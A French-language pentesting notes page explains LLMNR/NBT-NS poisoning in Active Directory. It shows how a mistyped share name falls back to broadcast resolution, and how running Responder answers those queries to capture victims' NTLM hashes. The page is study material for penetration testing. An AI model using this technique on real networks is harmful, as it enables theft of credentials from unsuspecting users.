> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/llmnr-nbt-ns-poisoning.md).

# Empoisonnement LLMNR / NBT-NS

Notes de sécurité Active Directory pour l'empoisonnement LLMNR / NBT-NS, couvrant l'énumération, Kerberos, les identifiants, l'abus des ACL, le mouvement latéral, le flux de travail d'exploitation et les étapes de validation.

Si l'accès se fait avec un nom valide, la résolution passe d'abord par le DNS du contrôleur de domaine.

{% code overflow="wrap" %}

```bash
dir //WS01/c$
```

{% endcode %}

Si le nom n'existe pas, Windows tente alors une résolution via `LLMNR` ou `NBT-NS` en broadcast.

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b16a473d284d3a856bdb0b93e6ae8ff7a805637%2Fimage%20(3326).png?alt=media" alt=""><figcaption></figcaption></figure>

Depuis Linux, nous pouvons écouter ces requêtes et y répondre avec `Responder`.

{% code overflow="wrap" %}

```bash
sudo responder -I ens33
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54191cff03c1742aa52d17b646cac5891e101082%2Fimage%20(3327).png?alt=media" alt=""><figcaption></figcaption></figure>

Si une victime saisit le mauvais nom de partage, la requête atterrit alors sur notre machine.

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

Nous récupérons alors le hachage NTLM du compte tentant d'établir la connexion.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f583775a8076a1ee87aa4400fee0b32587b1c78%2Fimage%20(3328).png?alt=media" alt=""><figcaption></figcaption></figure>


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